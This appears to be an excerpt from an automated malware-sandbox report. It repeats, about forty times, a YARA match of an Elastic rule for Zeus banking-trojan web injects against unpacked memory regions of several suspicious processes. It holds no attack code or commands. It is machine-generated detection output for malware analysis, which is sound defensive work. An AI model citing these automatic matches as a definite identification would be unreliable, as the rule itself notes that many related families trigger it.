    Source: 1.3.svchost.exe.d200000.73.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 1.3.svchost.exe.2700000.54.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 35.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.26d2000.1.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 1.3.svchost.exe.d200000.74.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 5.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.26f0000.2.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 0.3.1fWgBXPgiT.exe.637978.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 0.2.1fWgBXPgiT.exe.407000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 1.3.svchost.exe.d200000.89.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 1.3.svchost.exe.d200000.77.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 19.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.26d0000.2.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 6.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.ab2000.1.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 1.3.svchost.exe.2700000.43.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 25.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.24e2000.1.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 1.3.svchost.exe.d200000.75.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 1.3.svchost.exe.2700000.57.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 1.3.svchost.exe.889400.3.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 1.3.svchost.exe.d200000.68.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 1.3.svchost.exe.d200000.74.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 33.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.26b0000.2.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 0.3.1fWgBXPgiT.exe.63cd78.1.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 25.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.28c0000.2.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 1.3.svchost.exe.884000.4.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 0.3.1fWgBXPgiT.exe.63d978.2.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 35.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.2870000.2.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 27.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.1470000.2.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 39.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.26e0000.2.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 1.3.svchost.exe.d200000.75.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 1.3.svchost.exe.d200000.79.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 1.3.svchost.exe.4f00000.44.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 29.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.3160000.2.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 1.3.svchost.exe.2700000.52.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 0.3.1fWgBXPgiT.exe.637978.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 1.3.svchost.exe.d200000.72.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 1.3.svchost.exe.d200000.82.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 1.3.svchost.exe.d200000.78.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 1.3.svchost.exe.d200000.60.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 1.3.svchost.exe.d200000.64.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 1.3.svchost.exe.d200000.83.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 9.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.26a0000.2.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 1.3.svchost.exe.2700000.56.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 29.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.2fc2000.1.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
